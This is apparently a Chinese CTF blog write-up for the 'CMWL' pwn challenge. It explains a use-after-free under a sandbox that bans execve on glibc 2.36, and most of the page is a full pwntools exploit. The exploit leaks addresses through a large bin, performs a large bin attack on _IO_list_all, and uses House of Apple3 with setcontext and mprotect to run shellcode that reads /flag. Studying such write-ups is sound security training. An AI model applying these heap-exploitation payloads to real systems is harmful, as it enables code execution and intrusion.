Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

Pwn

CMWL

题目功能

  1. add: 使用calloc添加0x418 ~ 0x550的堆块
  2. dele: 悬挂指针
  3. show: 使用write,无截断
    show 1次机会
    dele 2次机会

alt text

使用沙盒,禁用execve

libc版本: Ubuntu GLIBC 2.36-0ubuntu4

利用思路

有 uaf ,可以通过把堆块放入 large bin 就可以通过 show 同时泄露出 libc 地址和堆地址,消耗一次 free

因为堆块 size 限制在 large bin 范围,考虑 large bin attack 任意写堆地址,消耗一次free

因为没有堆块头部,没法直接house of apple2 -> system
使用 house of apple3 + 一骑当千的板子

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
#!/usr/bin/env python

from pwncli import *

filename = "pwn_patched"
libcname = "/home/botdebug/.config/cpwn/pkgs/2.36-0ubuntu4/amd64/libc6_2.36-0ubuntu4_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "nc1.ctfplus.cn"
port = 44260
elf = context.binary = ELF(filename)
context.terminal = ["tmux", "neww"]
context.log_level = "debug"
if libcname:
libc = ELF(libcname)
gs = """
b main
b _IO_wfile_underflow
set debug-file-directory /home/botdebug/.config/cpwn/pkgs/2.36-0ubuntu4/amd64/libc6-dbg_2.36-0ubuntu4_amd64/usr/lib/debug
set directories /home/botdebug/.config/cpwn/pkgs/2.36-0ubuntu4/amd64/glibc-source_2.36-0ubuntu4_all/usr/src/glibc/glibc-2.36
"""


def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)


p = start()

s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rl = lambda x: p.recvline(x)
inter = lambda: p.interactive()

# Your exploit here


def cmd(i):
sla("choice: \n", i)


def add(idx, size, msg):
cmd("1")
ru("=>\n")
s(str(idx))
ru("=>\n")
s(str(size))
ru("=>\n")
s(msg)


def edit(idx, msg):
cmd("3")
ru("=>\n")
s(str(idx))
ru("=>\n")
s(msg)


def show(idx):
cmd("4")
ru("=>\n")
s(str(idx))


def dele(idx):
cmd("2")
ru("=>\n")
s(str(idx))


p.recvrepeat(0.5)
s("y")

ru(b"\x1B[0m")
ru(b"\x1B[0m")
sl("A" * 5)

add(0, 0x428, "AAA")
add(1, 0x500, "AAA")
add(2, 0x418, "AAA")
add(3, 0x500, "AAA")
dele(0)
# show(0)


add(4, 0x500, "B")
show(0)
libc_base = u64(p.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - 0x1f70b0
libc.address = libc_base
leak_ex2(libc_base)
ru(b'\x00\x00')
ru(b'\x00\x00')
fake_io_file = u64(r(6).ljust(8, b'\x00')) + 0x940
leak_ex2(fake_io_file)

edit(0, p64(0) * 3 + p64(libc.sym['_IO_list_all'] - 0x20))
dele(2)
add(5, 0x500, "C")


fake_IO_file_addr = fake_io_file
chunk1 = libc.bss(0x300)
fake_ucontext_addr = fake_IO_file_addr + 0x100
_IO_wide_data_1 = libc_base + 0x1f6980
_IO_wfile_jumps = libc.sym['_IO_wfile_jumps'] + 8

# house of apple3
fake_IO_file = p64(0xffffffffffffffff) #_IO_read_endtable
fake_IO_file += p64(0) * 2 + p64(1)
fake_IO_file = fake_IO_file.ljust(0x30, b'\x00')
fake_IO_file += p64(fake_IO_file_addr + 0x100) # _IO_buf_end = codecvt->__cd_in.step
fake_IO_file = fake_IO_file.ljust(0x78, b'\x00')
fake_IO_file += p64(chunk1 + 0x300) # lock
fake_IO_file = fake_IO_file.ljust(0x88, b'\x00')
fake_IO_file += p64(fake_IO_file_addr + 0x40) # _codecvt
fake_IO_file += p64(_IO_wide_data_1) # 尽量保持不变
fake_IO_file = fake_IO_file.ljust(0xc8, b'\x00')
fake_IO_file += p64(_IO_wfile_jumps) # vtable
fake_IO_file = fake_IO_file.ljust(0xf0, b'\x00')
fake_IO_file += p64(0) # fake_ucontext_addr
fake_IO_file += p64(0) * 4
fake_IO_file += p64(libc.sym['setcontext'])

# house of 一骑当千
rdi = fake_ucontext_addr & ~0xfff # heap_addr binsh_addr
rsi = 0x1000
rbp = fake_ucontext_addr + 0x100
rbx = 0
rdx = 7
rcx = 0
rax = 0
rsp = fake_ucontext_addr + 0x100
rip = libc.sym['mprotect']

ucontext = b''
ucontext += p64(0) * 7
ucontext += p64(rdi) + p64(rsi)
ucontext += p64(rbp) + p64(rbx)
ucontext += p64(rdx) + p64(rcx)
ucontext += p64(rax)
ucontext += p64(rsp) + p64(rip)
ucontext = ucontext.ljust((0xe0 - 0x30), b'\x00')
ucontext += p64(chunk1 + 0x1000)
ucontext = ucontext.ljust((0x100 - 0x30), b'\x00')

shellcode = p64(fake_ucontext_addr + 0x110) + p64(0) + asm(shellcraft.cat('/flag'))

payload = fake_IO_file + ucontext + bytes(shellcode)

edit(2, payload)
pause()
cmd('5')

p.interactive()

评论




本站总访问量为 次 访客数为 人